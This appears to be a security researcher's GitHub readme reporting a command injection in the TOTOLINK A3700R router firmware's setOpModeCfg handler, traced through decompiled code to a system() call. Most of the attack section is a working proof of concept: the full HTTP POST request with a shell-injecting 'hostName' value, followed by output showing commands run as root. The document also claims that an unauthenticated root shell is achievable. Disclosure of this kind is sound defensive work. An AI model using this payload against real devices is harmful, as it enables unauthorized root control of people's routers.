

main ▾

...

vuln / TOTOLINK / A3700R / 5 / readme.md



Darry-lang1 Update readme.md

History

1 contributor



67 lines (43 sloc) | 2.56 KB

...

# TOTOLink A3700R V9.1.2u.6134\_B20201202 Has an command injection vulnerability

## Overview

- Manufacturer's website information: <https://www.totolink.net/>
- Firmware download address : [http://www.totolink.cn/home/menu/detail.html?menu\\_listtpl=download&id=69&ids=36](http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=69&ids=36)

## Product Information

TOTOLink A3700R V9.1.2u.6134\_B20201202 router, the latest version of simulation overview:

编号	标题	版本	上传时间	下载
1	A3700R数据资料	Ver1.0	2021-08-10	
2	A3700R升级固件	V9.1.2u.6134_B20201202	2021-08-10	
3	A3700R说明书	Ver1.0	2022-03-10	

## Vulnerability details

TOTOLINK A3700R (V9.1.2u.6134\_B20201202) was found to contain a command insertion vulnerability in setOpModeCfg. This vulnerability allows an attacker to execute arbitrary commands through the "hostName" parameter.

```

nvram_set_int("rt_sta_auto", 0);
nvram_set_int("wl_mode_x", 0);
nvram_set_int("wl_sta_wisp", 0);
nvram_set_int("wl_sta_auto", 0);
nvram_set_int("crpc_enable", 0);
if ( strcmp(Var, "gw") )
{
    if ( !strcmp(Var, "br") )
    {
        nvram_set("wan_route_x", "IP_Bridged");
        nvram_set_int("sw_mode", 3);
        nvram_set_int("networkmap_fullscan", 0);
        nvram_set_int("dhcp_enable_x", 0);
        nvram_set("lan_proto_x", "1");
        nvram_set("rt_guest_lan_isolate", &word_43908C);
        nvram_set("wl_guest_lan_isolate", &word_43908C);
LABEL_19:
        sub_4253F4(a1);
        sub_426B50(a1);
        sub_426810(a1);
        goto LABEL_20;
    }
    if ( !strcmp(Var, "rpt") )

```

```

1 int __fastcall sub_4253F4(int a1)
2 {
3     int String; // $v0
4
5     String = cJSON_CreateString("1");
6     cJSON_AddItemToObject(a1, "switchOpMode", String);
7     sub_4241E0(a1);
8     return 1;
9 }

```

```

nvram_set("wan_ppp_echo", &word_43908C);
nvram_set("wan_lcp_echo", &word_43908C);
nvram_set("wan_pppoe_idletime", &word_43908C);
if ( atoi(v73) )
    nvram_set("x_DHCPClient", &word_43908C);
else
    nvram_set("x_DHCPClient", "1");
nvram_set("wan_ipaddr", v72);
nvram_set("wan_netmask", v71);
nvram_set("wan_gateway", v47);
break;
default:
    strcpy(v61, "dhcp");
    v48 = (const char *)websGetVar(a1, "hostName", &byte_43AFC8);
    if ( *v48 )
    {
        nvram_set("wan_hostname", v48);
        doSystem("echo '%s' > /proc/sys/kernel/hostname", v48);
    }
    v49 = websGetVar(a1, "dhcpMtu", "1500");
    nvram_set("wan_mtu", v49);
    break;
}
}

```

By calling these functions, we can ultimately call sub\_4241E0 function (as shown in the last picture). By setting the proto value to 1, we can reach the default branch. V48 passes directly into the dosystem function.

```

$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupg
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc

```

The dosystem function is finally found to be implemented in this file by string matching.

```

int doSystem(int a1, ...)
{
    char v2[516]; // [sp+1Ch] [-204h] BYREF
    va_list va; // [sp+22Ch] [+Ch] BYREF

    va_start(va, a1);
    vsnprintf(v2, 0x200, a1, (va_list *)va);
    return system(v2);
}

```

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 52
Origin: http://192.168.0.1
DNT: 1
Connection: close
Cookie: SESSION_ID=2:1658224702:2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache
```

```
{"hostName":"admin";ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
```

```
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 78
Origin: http://192.168.0.1
DNT: 1
Connection: close
Cookie: SESSION_ID=2:1658224702:2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"hostName":"admin";ps #","proto":"1","opmode":"br","topicurl":"setOpModeCfg"}
```

```
Connection: close
Transfer-Encoding: chunked
Date: Tue, 19 Jul 2022 15:30:57 GMT
Server: lighttpd/1.4.20
```

admin				
PID	USER	VSZ	STAT	COMMAND
1	root	1448	S	/sbin/init
2	root	0	SW	[kthreadd]
3	root	0	SW	[softirqd0]
4	root	0	SW	[jovoker/0:0]
5	root	0	SW	[jovoker/u:0]
6	root	0	SW	[migration/0]
7	root	0	SW	[migration/1]
8	root	0	SW	[jovoker/1:0]
9	root	0	SW	[softirqd/1]
10	root	0	SW	[jovoker/0:1]
11	root	0	SW	[migration/2]
12	root	0	SW	[jovoker/2:0]
13	root	0	SW	[softirqd/2]
14	root	0	SW	[migration/3]
15	root	0	SW	[jovoker/3:0]
16	root	0	SW	[softirqd/3]
17	root	0	SW<	[khelper]
18	root	0	SW	[jovoker/u:1]
23	root	0	SW	[jovoker/3:1]
24	root	0	SW	[jovoker/2:1]

The above figure shows the POC attack effect

```
BusyBox v1.24.2 (2020-12-02 18:57:43 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
```

```
/ # ls -l
drwxrwxr-x  2 1000      1000      4096 Jul 19 22:40 bin
drwxrwxr-x  3 1000      1000      4096 Dec  2  2020 dev
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 etc
drwxrwxr-x  4 1000      1000      4096 Dec  2  2020 etc_ro
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 home
lrwxrwxrwx  1 1000      1000           7 Dec  2  2020 init -> sbin/rc
drwxrwxr-x  3 1000      1000      4096 Dec  2  2020 lib
drwxrwxr-x  3 1000      1000      4096 Dec  2  2020 lighttp
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 media
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 mnt
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 opt
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 proc
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 sbin
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 sys
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 tmp
drwxrwxr-x  9 1000      1000      4096 Dec  2  2020 usr
drwxrwxr-x  2 1000      1000      4096 Dec  2  2020 var
drwxrwxr-x  9 1000      1000      4096 Dec  2  2020 www
/ #
```

Finally, you can write exp to get a stable root shell without authorization.